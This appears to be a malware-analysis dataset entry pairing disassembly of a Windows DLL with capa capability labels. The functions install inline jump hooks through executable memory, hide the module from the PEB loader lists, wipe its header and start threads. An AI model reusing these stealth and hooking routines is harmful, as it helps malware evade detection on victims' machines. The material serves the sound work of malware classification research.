joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100131c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100626d1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10094864]
test eax, eax
jne 0x1001336d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
movaps xmm0, xmmword [0x1007ea40]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xa3
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1760]
test al, 1
jne 0x1001328c
or eax, 1
mov dword [esi + 0x1760], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1fa5], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1f94], al
add ecx, 1
adc edx, 0
jne 0x10013278
cmp ecx, 0x11
jb 0x10013260
push 0x1006fac0
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1f94]
mov ecx, edi
call fcn.1005a4f0
mov eax, dword [esi + 0x21b0]
mov dword [ebp - 0x20], 0x64f1aaf4
mov dword [ebp - 0x1c], 0xefe958c9
mov dword [ebp - 0x18], 0x2dd38fc7
test al, 1
jne 0x1001330c
or eax, 1
mov dword [esi + 0x21b0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xb74], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xb68], al
add ecx, 1
adc edx, 0
jne 0x100132f8
cmp ecx, 0xc
jb 0x100132e0
push 0x1006fb10
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xb68]
mov ecx, esi
call fcn.1005a550
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013366
push 7
call fcn.1005fd44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013368
xor eax, eax
mov dword [0x10094864], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x10092004], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x100133b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10062761
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100948c0]
test eax, eax
jne 0x1001354d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
movaps xmm0, xmmword [0x1007e4d0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x3b
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2238]
test al, 1
jne 0x1001346c
or eax, 1
mov dword [esi + 0x2238], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xec9], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0xeb8], al
add ecx, 1
adc edx, 0
jne 0x10013458
cmp ecx, 0x11
jb 0x10013440
push 0x1006fb60
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xeb8]
mov ecx, edi
call fcn.1005a430
mov eax, dword [esi + 0x504]
mov dword [ebp - 0x20], 0x288bec6c
mov dword [ebp - 0x1c], 0x29b94025
mov dword [ebp - 0x18], 0x61a9c95f
test al, 1
jne 0x100134ec
or eax, 1
mov dword [esi + 0x504], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x96c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x960], al
add ecx, 1
adc edx, 0
jne 0x100134d8
cmp ecx, 0xc
jb 0x100134c0
push 0x1006fbb0
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x960]
mov ecx, esi
call fcn.1005a490
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013546
push 7
call fcn.1005fd44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013548
xor eax, eax
mov dword [0x100948c0], eax
push dword [ebp + 0x10]
mov dword [0x100917f4], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10013580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100627f1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1009486c]
test eax, eax
jne 0x1001371d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
movaps xmm0, xmmword [0x1007f170]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xeb
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xaa8]
test al, 1
jne 0x1001363c
or eax, 1
mov dword [esi + 0xaa8], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3069], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3058], al
add ecx, 1
adc edx, 0
jne 0x10013628
cmp ecx, 0x11
jb 0x10013610
push 0x1006fc00
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3058]
mov ecx, edi
call fcn.1005a370
mov eax, dword [esi + 0x21c8]
mov dword [ebp - 0x20], 0x4e71a4bc
mov dword [ebp - 0x1c], 0x9bb182bb
mov dword [ebp - 0x18], 0x753818f
test al, 1
jne 0x100136bc
or eax, 1
mov dword [esi + 0x21c8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xbc4], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xbb8], al
add ecx, 1
adc edx, 0
jne 0x100136a8
cmp ecx, 0xc
jb 0x10013690
push 0x1006fc50
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xbb8]
mov ecx, esi
call fcn.1005a3d0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013716
push 7
call fcn.1005fd44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013718
xor eax, eax
mov dword [0x1009486c], eax
push dword [ebp - 0x30]
mov dword [0x10090f74], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10013750
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10062881
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100948d0]
test eax, eax
jne 0x100138ed
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
movaps xmm0, xmmword [0x1007e180]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x4f0c492f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3ea4]
test al, 1
jne 0x1001380c
or eax, 1
mov dword [esi + 0x3ea4], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x12e8], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x12d4], al
add ecx, 1
adc edx, 0
jne 0x100137f8
cmp ecx, 0x14
jb 0x100137e0
push 0x1006fca0
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x12d4]
mov ecx, edi
call fcn.1005a2b0
mov eax, dword [esi + 0x18a8]
mov dword [ebp - 0x1c], 0x6276c1c
mov dword [ebp - 0x18], 0x61815429
mov dword [ebp - 0x14], 0x4f05492f
test al, 1
jne 0x1001388c
or eax, 1
mov dword [esi + 0x18a8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x23ac], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x23a0], al
add ecx, 1
adc edx, 0
jne 0x10013878
cmp ecx, 0xc
jb 0x10013860
push 0x1006fcf0
call fcn.1005fded
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x23a0]
mov ecx, esi
call fcn.1005a310
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100138e6
push 7
call fcn.1005fd44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100138e8
xor eax, eax
mov dword [0x100948d0], eax
push ebx
mov dword [0x10092144], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10020140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10092e74], 0
push esi
push edi
jle 0x100201aa
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100201aa
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100201ea
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x100201de
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100201ea
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10022150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100632c1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008bf0c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10094898]
cmp eax, dword [ecx + 0xc]
jle 0x100221e5
push 0x10094898
call fcn.1005f801
add esp, 4
cmp dword [0x10094898], 0xffffffff
jne 0x100221e5
mov dword [ebp - 4], 0
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10094898
mov dword [0x1009484c], eax
call fcn.1005f7b7
add esp, 4
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10022274
cmp dword [0x10092e48], 0
je 0x10022274
mov eax, dword [0x1008d760]
mov ecx, dword [eax + 0x2a8]
mov eax, dword [0x10092290]
mov ecx, dword [eax + ecx]
call fcn.10014ba0
mov esi, eax
test esi, esi
je 0x10022274
mov ecx, dword [0x100913cc]
push 0x10092698
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x10022274
mov edx, dword [0x10091990]
add edx, eax
cmp edx, eax
jbe 0x10022274
mov ecx, esi
call edx
test eax, eax
jle 0x10022274
mov edi, dword [0x1009484c]
cmp edi, 0x1000
jbe 0x100222a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x10022299
mov edi, dword [0x1009484c]
cmp edi, 0x1000
jbe 0x100222a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x100222c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100913cc]
mov eax, dword [0x1008d760]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100913cc]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x1008d760]
je 0x1002232a
add eax, 0x150
cmp dword [0x10091ffc], 0
push eax
je 0x10022330
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002235d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10022351
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002235d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret

Function at 0x100228d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1008d150], 0
jne 0x10022933
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x1007d63c]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10022903
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x100228e6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x1008d150], 1
mov dword [0x1009273c], eax
add eax, 0x18
mov dword [0x10091aa8], eax
mov esp, ebp
pop ebp
ret
Function at 0x10024b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10024a40
mov eax, dword [0x100919a8]
mov ebx, fcn.10006eb0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [eax + 0x10]
cmp edi, 0x1000
jbe 0x10024b8d
cmp ebx, 0x1000
jbe 0x10024b8d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x10024bc2
cmp ebx, 0x1000
jbe 0x10024bc2
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x10024bf7
cmp ebx, 0x1000
jbe 0x10024bf7
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x10024c2c
cmp ebx, 0x1000
jbe 0x10024c2c
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x10024c61
cmp ebx, 0x1000
jbe 0x10024c61
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x10024c96
cmp ebx, 0x1000
jbe 0x10024c96
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x10024ccb
cmp ebx, 0x1000
jbe 0x10024ccb
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x10024d00
cmp ebx, 0x1000
jbe 0x10024d00
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100919a8]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x10024d30
cmp ebx, 0x1000
jbe 0x10024d30
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.10006eb0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10025bb0
Capabilities:
Get hostname

Disassembly:
push 0x1008b05c
push 0x100920ec
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10025ac0
cmp eax, 1
jne 0x10025bdc
push str.Win_XP
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ac0
cmp eax, 2
jne 0x10025bf8
push str.Win_Vista
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ac0
cmp eax, 3
jne 0x10025c14
push str.Win_7
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ac0
cmp eax, 4
jne 0x10025c30
push str.Win_8
push 0x1008db08
call fcn.100057d0
add esp, 8
call fcn.10025ac0
cmp eax, 5
jne 0x10025c4c
push str.Wi_10
push 0x1008db08
call fcn.100057d0
add esp, 8
ret
Function at 0x10051320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x100513be
cmp esi, 0x1000
jbe 0x1005139a
cmp edi, 0x1000
jbe 0x1005139a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10012890
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1005142a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10012890
add esp, 4
cmp esi, 0x1000
jbe 0x1005142d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1005142a
cmp esi, 0x1000
jbe 0x10051408
cmp edi, 0x1000
jbe 0x10051408
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10012890
add esp, 4
jmp 0x10051422
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10012890
add esp, 4
cmp esi, 0x1000
jbe 0x1005142d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10051444
cmp al, 0x6a
je 0x10051444
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10051340
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret
Function at 0x10051ab0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1008b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10051bb2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10051b37
cmp ecx, edi
jne 0x10051b2e
mov edx, dword [eax + 4]
test edx, edx
je 0x10051afc
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10051afc
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10051b08
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10051b15
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10051b2e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10051b2e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10051ae1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1003a470
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100516a0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1005f4e9
mov esp, ebp
pop ebp
ret 0xc